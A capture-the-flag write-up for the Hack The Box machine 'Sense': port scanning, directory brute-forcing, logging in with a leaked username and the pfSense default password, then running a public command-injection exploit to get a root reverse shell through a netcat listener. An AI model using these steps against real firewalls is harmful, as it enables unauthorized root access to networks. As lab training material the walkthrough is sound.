Posts Hack The Box - Sense (Without Metasploit)
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Hack The Box - Sense (Without Metasploit)

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

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$ echo "10.10.10.60 sense.htb" | sudo tee -a /etc/hosts

Reconnaissance

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$ rustscan --accessible -a sense.htb -r 1-65535 -- -sT -sV -sC -Pn       
File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.60:80
Open 10.10.10.60:443
Starting Script(s)
Script to be run Some("nmap -vvv -p  ")

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-14 06:57 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:57
Completed NSE at 06:57, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:57
Completed NSE at 06:57, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:57
Completed NSE at 06:57, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 06:57
Completed Parallel DNS resolution of 1 host. at 06:57, 0.69s elapsed
DNS resolution of 1 IPs took 0.69s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 06:57
Scanning 10.10.10.60 [2 ports]
Discovered open port 443/tcp on 10.10.10.60
Discovered open port 80/tcp on 10.10.10.60
Completed Connect Scan at 06:57, 0.01s elapsed (2 total ports)
Initiating Service scan at 06:57
Scanning 2 services on 10.10.10.60
Completed Service scan at 06:58, 12.06s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.60.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:58
Completed NSE at 06:58, 0.56s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:58
Completed NSE at 06:58, 0.09s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:58
Completed NSE at 06:58, 0.00s elapsed
Nmap scan report for 10.10.10.60
Host is up, received user-set (0.0063s latency).
Scanned at 2021-01-14 06:57:49 UTC for 13s

PORT    STATE SERVICE  REASON  VERSION
80/tcp  open  http     syn-ack lighttpd 1.4.35
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open  ssl/http syn-ack lighttpd 1.4.35
|_http-favicon: Unknown favicon MD5: 082559A7867CF27ACAB7E9867A8B320F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US/organizationalUnitName=Organizational Unit Name (eg, section)/emailAddress=Email Address/localityName=Somecity
| Issuer: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US/organizationalUnitName=Organizational Unit Name (eg, section)/emailAddress=Email Address/localityName=Somecity
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-10-14T19:21:35
| Not valid after:  2023-04-06T19:21:35
| MD5:   65f8 b00f 57d2 3468 2c52 0f44 8110 c622
| SHA-1: 4f7c 9a75 cb7f 70d3 8087 08cb 8c27 20dc 05f1 bb02
| -----BEGIN CERTIFICATE-----
| MIIEKDCCA5GgAwIBAgIJALChaIpiwz41MA0GCSqGSIb3DQEBCwUAMIG/MQswCQYD
| VQQGEwJVUzESMBAGA1UECBMJU29tZXdoZXJlMREwDwYDVQQHEwhTb21lY2l0eTEU
| MBIGA1UEChMLQ29tcGFueU5hbWUxLzAtBgNVBAsTJk9yZ2FuaXphdGlvbmFsIFVu
| aXQgTmFtZSAoZWcsIHNlY3Rpb24pMSQwIgYDVQQDExtDb21tb24gTmFtZSAoZWcs
| IFlPVVIgbmFtZSkxHDAaBgkqhkiG9w0BCQEWDUVtYWlsIEFkZHJlc3MwHhcNMTcx
| MDE0MTkyMTM1WhcNMjMwNDA2MTkyMTM1WjCBvzELMAkGA1UEBhMCVVMxEjAQBgNV
| BAgTCVNvbWV3aGVyZTERMA8GA1UEBxMIU29tZWNpdHkxFDASBgNVBAoTC0NvbXBh
| bnlOYW1lMS8wLQYDVQQLEyZPcmdhbml6YXRpb25hbCBVbml0IE5hbWUgKGVnLCBz
| ZWN0aW9uKTEkMCIGA1UEAxMbQ29tbW9uIE5hbWUgKGVnLCBZT1VSIG5hbWUpMRww
| GgYJKoZIhvcNAQkBFg1FbWFpbCBBZGRyZXNzMIGfMA0GCSqGSIb3DQEBAQUAA4GN
| ADCBiQKBgQC/sWU6By08lGbvttAfx47SWksgA7FavNrEoW9IRp0W/RF9Fp5BQesL
| L3FMJ0MHyGcfRhnL5VwDCL0E+1Y05az8PY8kUmjvxSvxQCLn6Mh3nTZkiAJ8vpB0
| WAnjltrTCEsv7Dnz2OofkpqaUnoNGfO3uKWPvRXl9OlSe/BcDStffQIDAQABo4IB
| KDCCASQwHQYDVR0OBBYEFDK5DS/hTsi9SHxT749Od/p3Lq05MIH0BgNVHSMEgeww
| gemAFDK5DS/hTsi9SHxT749Od/p3Lq05oYHFpIHCMIG/MQswCQYDVQQGEwJVUzES
| MBAGA1UECBMJU29tZXdoZXJlMREwDwYDVQQHEwhTb21lY2l0eTEUMBIGA1UEChML
| Q29tcGFueU5hbWUxLzAtBgNVBAsTJk9yZ2FuaXphdGlvbmFsIFVuaXQgTmFtZSAo
| ZWcsIHNlY3Rpb24pMSQwIgYDVQQDExtDb21tb24gTmFtZSAoZWcsIFlPVVIgbmFt
| ZSkxHDAaBgkqhkiG9w0BCQEWDUVtYWlsIEFkZHJlc3OCCQCwoWiKYsM+NTAMBgNV
| HRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBAHNn+1AX2qwJ9zhgN3I4ES1Vq84l
| n6p7OoBefxcf31Pn3VDnbvJJFFcZdplDxbIWh5lyjpTHRJQyHECtEMW677rFXJAl
| /cEYWHDndn9Gwaxn7JyffK5lUAPMPEDtudQb3cxrevP/iFZwefi2d5p3jFkDCcGI
| +Y0tZRIRzHWgQHa/
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:58
Completed NSE at 06:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:58
Completed NSE at 06:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:58
Completed NSE at 06:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.86 seconds

Enumeration (1)

Port 80/443 lighttpd 1.4.35

When attempting to access the web service via HTTP, it automatically redirects us to HTTPS. However when using the domain name sense.htb, we get an error that tells us to access the web server via IP address.

When we visit the web server using the 10.10.10.60, we are presented with a pfSense login page.

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$ gobuster dir -k -u https://10.10.10.60/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100 -x .html,.php,.txt,.xml
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://10.10.10.60/
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,php,txt,xml
[+] Timeout:        10s
===============================================================
2021/01/14 03:54:16 Starting gobuster
===============================================================
/help.php (Status: 200)
/index.php (Status: 200)
/index.html (Status: 200)
/themes (Status: 301)
/stats.php (Status: 200)
/css (Status: 301)
/includes (Status: 301)
/edit.php (Status: 200)
/license.php (Status: 200)
/system.php (Status: 200)
/status.php (Status: 200)
/javascript (Status: 301)
/changelog.txt (Status: 200)
/classes (Status: 301)
/exec.php (Status: 200)
/widgets (Status: 301)
/graph.php (Status: 200)
/tree (Status: 301)
/wizard.php (Status: 200)
/shortcuts (Status: 301)
/pkg.php (Status: 200)
/installer (Status: 301)
/wizards (Status: 301)
/xmlrpc.php (Status: 200)
/reboot.php (Status: 200)
/interfaces.php (Status: 200)
/csrf (Status: 301)
/system-users.txt (Status: 200)
/filebrowser (Status: 301)
/%7echeckout%7e (Status: 403)
/services_dyndns.php (Status: 200)
===============================================================
2021/01/14 04:01:11 Finished
===============================================================

Directory brute-forcing reveals many interesting files and one file called system-users.txt stood out among them.

Could these credentials be the credentials to pfSense? Unfortunately, attemping to login with Rohot:company default failed. Maybe this company default is referring to the default password of pfSense?

According to online, the default password is pfsense. Rohit:pfsense didn’t work but rohit:pfsense worked!

After logging in, we see that the version of pfSense that is running is 2.1.3. Using searchsploit, we see that there are exploits for this version!

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$ searchsploit pfsense 2.1.3
--------------------------------------------------------------- ---------------------------------
 Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------------
pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection | php/webapps/43560.py
--------------------------------------------------------------- ---------------------------------

Exploitation (1)

After copying it, we need to setup a nc listener.

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$ rlwrap nc -lvnp 1337 
listening on [any] 1337 ...

And then we run the exploit which will spawn a reverse shell back to our listener.

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$ python3 43560.py --rhost 10.10.10.60 --lhost 10.10.XX.XX --lport 1337 --username rohit --password pfsense 
CSRF token obtained
Running exploit...
Exploit completed

On our listener, we receive a shell as root!

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$ rlwrap nc -lvnp 1337  
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.60] 42989
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

user.txt

The user flag is located in the home directory of rohit.

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# cat /home/rohit/user.txt
8721XXXXXXXXXXXXXXXXXXXXXXXXXXXX

root.txt

The root flag is located in the home directory of root, as usual.

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# cat /root/root.txt
d08cXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.